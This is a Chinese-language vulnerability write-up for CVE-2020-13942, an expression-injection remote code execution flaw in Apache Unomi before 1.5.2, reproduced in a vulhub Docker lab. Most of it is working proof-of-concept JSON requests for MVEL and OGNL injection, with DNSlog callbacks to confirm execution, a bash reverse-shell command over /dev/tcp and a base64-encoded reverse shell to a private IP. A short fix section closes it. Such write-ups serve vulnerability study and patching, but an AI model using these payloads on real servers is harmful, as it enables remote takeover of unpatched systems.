CVE-2020-13942 Apache Unomi RCE-漏洞文库小世界-安全文库-NGC660安全实验室

CVE-2020-13942 Apache Unomi RCE

###CVE-2020-13942 Apache Unomi RCE漏洞–好菜一男的

 

一、漏洞描述

Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月 Unomi 成为Apache 软件基金会项目。在Apache Unomi 1.5.1级以前版本中,存在一处表达式注入漏洞,远程攻击者通过MVEL和OGNL表达式即可在目标服务器上执行任意命令。
影响版本:
Apache Unomi < 1.5.2

二、漏洞复现

使用vulhub搭建docker环境
https://github.com/vulhub/vulhub/tree/master/unomi/CVE-2020-13942 搭建成功后访问本地 8181或者9443端口

1609308538160-bf6b580a-1760-4242-b3f6-ddd59b058651

两种利用方式

  • 通过MVEL表达式执行任意命令:

POC数据包

{

    "filters": [

        {

            "id": "sample",

            "filters": [

                {

                    "condition": {

                         "parameterValues": {

                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping suel8e.dnslog.cn

\");"

                        },

                        "type": "profilePropertyCondition"

                    }

                }

            ]

        }

    ],

    "sessionId": "sample"

}

利用DNSlog出网验证

1609309021957-cff53220-529d-4e80-a6e0-527b14f72ea3

1609309042721-53d67c9b-e2f4-4fa3-acdb-92a65ea384e2

通过DNSLog记录中可以发现执行ping命令,接下来执下面行命令反弹shell
bash -i >& /dev/tcp/自己的ip/监听端口 0>&1
更改POC实现反弹shell

{

    "filters": [

        {

            "id": "sample",

            "filters": [

                {

                    "condition": {

                         "parameterValues": {

                            "": "script::Runtime r = Runtime.getRuntime(); r.exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMS4xMzUvMjM0NSAwPiYx}|{base64,-d}|{bash,-i}

\");"

                        },

                        "type": "profilePropertyCondition"

                    }

                }

            ]

        }

    ],

    "sessionId": "sample"

}

1609309557113-644bad1a-bea4-41f7-8f54-b0a152d09571

  • 通过OGNL表达式执行任意命令:

POC数据包

{

  "personalizations":[

    {

      "id":"gender-test",

      "strategy":"matching-first",

      "strategyOptions":{

        "fallback":"var2"

      },

      "contents":[

        {

          "filters":[

            {

              "condition":{

                "parameterValues":{

                  "propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"curl 42fcdx.dnslog.cn\"))",

                  "comparisonOperator":"equals",

                  "propertyValue":"male"

                },

                "type":"profilePropertyCondition"

              }

            }

          ]

        }

      ]

    }

  ],

  "sessionId":"sample"

}

1609310529733-67d2a5de-74dd-4145-91fe-8094d4dc95d4

成功执行命令
反弹shell命令需要进行编码,编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html 获取shell

1609310767251-0e620124-d953-4bf3-ae1c-3888deb960b3

1609310783057-5a56a2d5-1fef-4840-a29e-3ec7be02f6d6

三、修复建议

1、尽可能避免将用户数据放入表达式解释器中。
2、目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。
官方链接如下:
https://unomi.apache.org/download.html

请登录后发表评论

    请登录后查看回复内容